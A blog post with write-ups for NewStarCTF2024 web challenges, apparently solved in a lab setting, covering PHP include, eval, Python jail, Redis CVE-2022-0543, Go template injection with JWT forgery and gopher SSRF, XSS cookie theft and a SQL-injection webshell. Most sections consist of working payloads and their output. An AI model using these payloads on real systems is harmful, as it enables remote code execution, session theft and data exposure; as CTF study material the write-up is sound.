NewStarCTF2024 web week3-4-5

文章摘要

Bpple-GPT

NewStarCTF2024 web week3-4-5

存档整理了一下

Include Me---php 伪协议

 <?php
   highlight_file(__FILE__);
 function waf(){
   if(preg_match("/<|\?
 |php|>|echo|filter|flag|system|file|%|&|=|`|eval/i",$_GET['me'])){
     die("兄弟你别包");
   };
 }
 if(isset($_GET['phpinfo'])){
   phpinfo();
 }
 //兄弟你知道了吗?
 if(!isset($_GET['iknow'])){
   header("Refresh: 5;url=https://cn.bing.com/search?
 q=php%E4%BC%AA%E5%8D%8F%E8%AE%AE");
 }
 waf();
 include $_GET['me'];
 echo "兄弟你好香";
 ?>

不能有 =,空格多点一点就可以绕过

Payload

 # PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
 ?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscyAvJyk7Pz4g
 # PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g
 ?iknow=1&me=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcgJyk7Pz4g

臭皮的计算器---eval 进制绕过--8 进制--半角转化

在线全角半角转换

 from flask import Flask, render_template, request
 import uuid
 import subprocess
 import os
 import tempfile
 
 app = Flask(__name__)
 app.secret_key = str(uuid.uuid4())
 
 def waf(s):
     token = True
     for i in s:
         if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
             token = False
             break
     return token
 
 @app.route("/")
 def index():
     return render_template("index.html")
 
 @app.route("/calc", methods=['POST', 'GET'])
 def calc():
     
     if request.method == 'POST':
         num = request.form.get("num")
         script = f'''import os
 print(eval("{num}"))
 '''
         print(script)
         if waf(num):
             try:
                 result_output = ''
                 with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                     temp_script.write(script)
                     temp_script_path = temp_script.name
 
                 result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
                 os.remove(temp_script_path)
 
                 result_output = result.stdout if result.returncode == 0 else result.stderr
             except Exception as e:
 
                 result_output = str(e)
             return render_template("calc.html", result=result_output)
         else:
             return render_template("calc.html", result="臭皮!你想干什么!!")
     return render_template("calc.html", result='试试呗')
 
 if __name__ == "__main__":
     app.run(host='0.0.0.0', port=30002)

稍微读一下代码就可以发现这个就是利用 eval 进行 rce,但是字母被屏蔽完了,那就八进制绕过吧

最后 Payload 如下

 num=\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\42\154\163\40\57\42\51
 # Result: app bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var 0
 
 num=\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\42\156\154\40\57\146\154\141\147\42\51
 # flag{*******}

臭皮踩踩背 - pyjail

是一个 pyjail 的题目,

 #题目
 你被豌豆关在一个监狱里,,,,,,
 豌豆百密一疏,不小心遗漏了一些东西,,,
 def ev4l(*args):
 print(secret)
 inp = input("> ")
 f = lambda: None
 print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
 能不能逃出去给豌豆踩踩背就看你自己了,臭皮,,

第一步思路:我想要触发 secret ,我们输入 evel

 > eval()
 你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理解透的?
 None

发现只是一个字符串,试了很多次之后发现入口在 f

Payload 如下

 f.__globals__
 #{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__':
 
 <_frozen_importlib_external.SourceFileLoader object at 0x7f877b8364c0>, '__spec__':
 None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>,
 '__file__': '/main.py', '__cached__': None, 'ev4l': <function ev4l at
 0x7f877b7f31f0>, 'secret': '你已经拿到了钥匙,但是打开错了门,好好想想,还有什么东西是你没有理
 解透的?', 'inp': 'f.__globals__', 'f': <function <lambda> at 0x7f877b6dfd30>}
 f.__globals__['__builtins__'].__import__('os').system('sh')
 
 f.__globals__['__builtins__'].__import__('os').system('sh')
 ls
 ls /
 cat /flag

ez_redis---redis---CVE-2022-0543

vulhub/redis/CVE-2022-0543/README.zh-cn.md at master · vulhub/vulhub

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象 <font style="color:rgb(31, 35, 40);">package</font>,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

可以访问 www.zip,主要逻辑如下

 <?php 
                     if(isset($_POST['eval'])){
                         $cmd = $_POST['eval'];
                         if(preg_match("/set|php/i",$cmd))
                         {
                             $cmd = 'return "u are not newstar";';
                         }
                         $example = new Redis();
                         $example->connect($REDIS_HOST);
                         $result = json_encode($example->eval($cmd));
                         echo '<h1 class="subtitle">结果</h1>';
                         echo "<pre>$result</pre>";
                     }
                 ?>

**禁用了 **set,

**我是搜 redis5 命令执行,然后发现存在一个Redis5 存在一个 **CVE-2022-0543

CVE-2022-0543复现 | redis的远程代码执行漏洞 - h0cksr - 博客园

Payload 如下

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("head /flag", "r");
local res = f:read("*a");
f:close();
return res

补充一下

Redis 内嵌 Lua 环境,允许开发者使用 Lua 脚本来执行复杂的逻辑关系

EVAL 命令

EVAL "return 'Hello, Redis!'" 0

这里是在调用 Redis 的 Lua 脚本执行功能,

Pangbai4---go'ssti--jwt

主要漏洞点和可以利用的点如下

func routeFavorite(w http.ResponseWriter, r *http.Request) {

    if r.Method == http.MethodPut {

        // ensure only localhost can access
        requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
        fmt.Println("Request IP:", requestIP)
        if requestIP != "127.0.0.1" && requestIP != "[::1]" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("Only localhost can access"))
            return
        }

        token, _ := r.Cookie("token")

        o, err := validateJwt(token.Value)
        if err != nil {
            w.Write([]byte(err.Error()))
            return
        }

        if o.Name == "PangBai" {
            w.WriteHeader(http.StatusAccepted)
            w.Write([]byte("Hello, PangBai!"))
            return
        }

        if o.Name != "Papa" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("You cannot access!"))
            return
        }

        body, err := ioutil.ReadAll(r.Body)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
        }
        config.SignaturePath = string(body)
        w.WriteHeader(http.StatusOK)
        w.Write([]byte("ok"))
        return
    }

    // render

    tmpl, err := template.ParseFiles("views/favorite.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }

    sig, err := ioutil.ReadFile(config.SignaturePath)
    if err != nil {
        http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
        return
    }

    err = tmpl.Execute(w, string(sig))

    if err != nil {
        http.Error(w, "[error]", http.StatusInternalServerError)
        return
    }
}

如上,我们代码分析,如果我们可以去修改config.SignaturePath(有一个默认值是./sign.txt),那我们就可以达到任意文件读取的一个效果,但是条件如下:

  1. 是put方法,并且是本地访问
  2. **o.Name**等于Papa,默认是Pangbai,就是说我们得改jwt

第一步

要想改jwt,我们继续阅读可以发现结构体定义如下

type Config struct {
    Stringer
    Name          string
    JwtKey        string
    SignaturePath string
}

这个路由如下,可以理解为模板渲染,所以我们可以尝试用这个去带出来 jwtkey

func routeEye(w http.ResponseWriter, r *http.Request) {

    input := r.URL.Query().Get("input")
    if input == "" {
        input = "{{ .User }}"
    }

    // get template
    content, err := ioutil.ReadFile("views/eye.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }
    tmplStr := strings.Replace(string(content), "%s", input, -1)
    tmpl, err := template.New("eye").Parse(tmplStr)
    if err != nil {
        input := "[error]"
        tmplStr = strings.Replace(string(content), "%s", input, -1)
        tmpl, err = template.New("eye").Parse(tmplStr)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
            return
        }
    }

我们尝试渲染出来jwt的key,根据构造

我们尝试渲染 .Config.JwtKey--->gyB712L7PHIPi5n5c8eZdCftTUaoFArek2PG5UJ3gqL4sTS5CFfkWrTKhh6fVH4g

有了密钥构造结构如下

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDI5NzI0MjAsInVzZXIiOiJQYXBhIn0.GTRwK81ea5_SFibkaeKDRP3rjmckUjXbPgp4eZ02avU

第二步

现在去满足条件1,请求是 PUT

构造http

PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie:token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3NDI5NzI0MjAsInVzZXIiOiJQYXBhIn0.GTRwK81ea5_SFibkaeKDRP3rjmckUjXbPgp4eZ02avU
Content-Length: 18

/proc/self/environ

构造出来Gopher

gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3Atoken%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJleHAiOjE3NDI5NzI0MjAsInVzZXIiOiJQYXBhIn0%2EGTRwK81ea5%5FSFibkaeKDRP3rjmckUjXbPgp4eZ02avU%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron

在 eye 路由去发包

最后访问/favorite 去看渲染的结果

后记

完整的 main.go 如下

 package main
 
 import (
     "fmt"
     "github.com/gorilla/mux"
     "io/ioutil"
     "net/http"
     "os/exec"
     "strings"
     "text/template"
 )
 
 type Token struct {
     Stringer
     Name string
 }
 
 type Config struct {
     Stringer
     Name          string
     JwtKey        string
     SignaturePath string
 }
 
 type Helper struct {
     Stringer
     User   string
     Config Config
 }
 
 var config = Config{
     Name:          "PangBai 过家家 (4)",
     JwtKey:        RandString(64),
     SignaturePath: "./sign.txt",
 }
 
 func (c Helper) Curl(url string) string {
     fmt.Println("Curl:", url)
     cmd := exec.Command("curl", "-fsSL", "--", url)
     _, err := cmd.CombinedOutput()
     if err != nil {
         fmt.Println("Error: curl:", err)
         return "error"
     }
     return "ok"
 }
 
 func routeIndex(w http.ResponseWriter, r *http.Request) {
     http.ServeFile(w, r, "views/index.html")
 }
 
 func routeEye(w http.ResponseWriter, r *http.Request) {
 
     input := r.URL.Query().Get("input")
     if input == "" {
         input = "{{ .User }}"
     }
 
     // get template
     content, err := ioutil.ReadFile("views/eye.html")
     if err != nil {
         http.Error(w, "error", http.StatusInternalServerError)
         return
     }
     tmplStr := strings.Replace(string(content), "%s", input, -1)
     tmpl, err := template.New("eye").Parse(tmplStr)
     if err != nil {
         input := "[error]"
         tmplStr = strings.Replace(string(content), "%s", input, -1)
         tmpl, err = template.New("eye").Parse(tmplStr)
         if err != nil {
             http.Error(w, "error", http.StatusInternalServerError)
             return
         }
     }
 
     // get user from cookie
     user := "PangBai"
     token, err := r.Cookie("token")
     if err != nil {
         token = &http.Cookie{Name: "token", Value: ""}
     }
     o, err := validateJwt(token.Value)
     if err == nil {
         user = o.Name
     }
 
     // renew token
     newToken, err := genJwt(Token{Name: user})
     if err != nil {
         http.Error(w, "error", http.StatusInternalServerError)
     }
     http.SetCookie(w, &http.Cookie{
         Name:  "token",
         Value: newToken,
     })
 
     // render template
     helper := Helper{User: user, Config: config}
     err = tmpl.Execute(w, helper)
     if err != nil {
         http.Error(w, "[error]", http.StatusInternalServerError)
         return
     }
 }
 
 func routeFavorite(w http.ResponseWriter, r *http.Request) {
 
     if r.Method == http.MethodPut {
 
         // ensure only localhost can access
         requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
         fmt.Println("Request IP:", requestIP)
         if requestIP != "127.0.0.1" && requestIP != "[::1]" {
             w.WriteHeader(http.StatusForbidden)
             w.Write([]byte("Only localhost can access"))
             return
         }
 
         token, _ := r.Cookie("token")
 
         o, err := validateJwt(token.Value)
         if err != nil {
             w.Write([]byte(err.Error()))
             return
         }
 
         if o.Name == "PangBai" {
             w.WriteHeader(http.StatusAccepted)
             w.Write([]byte("Hello, PangBai!"))
             return
         }
 
         if o.Name != "Papa" {
             w.WriteHeader(http.StatusForbidden)
             w.Write([]byte("You cannot access!"))
             return
         }
 
         body, err := ioutil.ReadAll(r.Body)
         if err != nil {
             http.Error(w, "error", http.StatusInternalServerError)
         }
         config.SignaturePath = string(body)
         w.WriteHeader(http.StatusOK)
         w.Write([]byte("ok"))
         return
     }
 
     // render
 
     tmpl, err := template.ParseFiles("views/favorite.html")
     if err != nil {
         http.Error(w, "error", http.StatusInternalServerError)
         return
     }
 
     sig, err := ioutil.ReadFile(config.SignaturePath)
     if err != nil {
         http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
         return
     }
 
     err = tmpl.Execute(w, string(sig))
 
     if err != nil {
         http.Error(w, "[error]", http.StatusInternalServerError)
         return
     }
 }
 
 func main() {
     r := mux.NewRouter()
 
     r.HandleFunc("/", routeIndex)
     r.HandleFunc("/eye", routeEye)
     r.HandleFunc("/favorite", routeFavorite)
     r.PathPrefix("/assets").Handler(http.StripPrefix("/assets", noDirList(http.FileServer(http.Dir("./assets")))))
 
     fmt.Println("Starting server on :8000")
     http.ListenAndServe(":8000", r)
 }

Pangbai5---xss

Puppeteer 简介 | Puppeteer 中文文档 | Puppeteer 中文网

Puppeteer 是一个 Node 库,它提供了一个高级 API 来通过 DevTools 协议控制 Chromium 或 Chrome。Puppeteer 默认以 headless 模式运行,但是可以通过修改配置文件运行“有头”模式。

就是 XSS 问题,

发现就是 FLAG,在 cookie 中我们的思路就是传入 xss,让 bot 运行,然后获得 Cookie,就获取到了 flag

 function safe_html(str: string) {
     return str
         .replace(/<.*>/igm, '')
         .replace(/<\.*>/igm, '')
         .replace(/<.*>.*<\/.*>/igm, '')
 }

这里使用多行匹配,所以说我们

 <script
 >
 alert(1)
 </script
 >

成功弹出,说明可以绕过

 <script
 >
 fetch('/api/send', {
     method: 'POST',
     headers: {'Content-Type': 'application/json'},
     body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
 })
 </script
 >

sqlshell--- 写入

这次我不把 flag 放在数据库,看你们怎么办 ^ ^

MySQL 进行写文件

这里直接用 union into 写入了

 import requests
 
 url = 'http://127.0.0.1:3337/'
 
 payload = '\' || 1 union select 1,2,"<?php eval($_GET[1]);" into outfile \'/var/www/html/3.php\'#'
 
 res = requests.get(url,params={'student_name': payload})
 res = requests.get(f'{url}/3.php', params={'1': 'system("ls /");'})
 print(res.text)

用键盘敲击出的不只是字符,更是一段段生活的剪影、一个个心底的梦想。希望我的文字能像一束光,在您阅读的瞬间,照亮某个角落,带来一丝温暖与共鸣。

BX33661

isfp 探险家

站长

不具版权性
不具时效性

文章内容不具时效性。若文章内容有错误之处,请您批评指正。


目录

欢迎来到Bpple的站点,为您导航全站动态

65 文章数
20 分类数
44 评论数
15标签数
最近评论
bpple

bpple


一切顺利

fetain

fetain


good luck

bx

bx


good luck

热门文章

Emoji收集

2024-11-01

550
Hello Halo

2024-10-30

532
本地部署LLM

2024-08-22

511
Uptime Kuma

2024-11-29

507
241

访问统计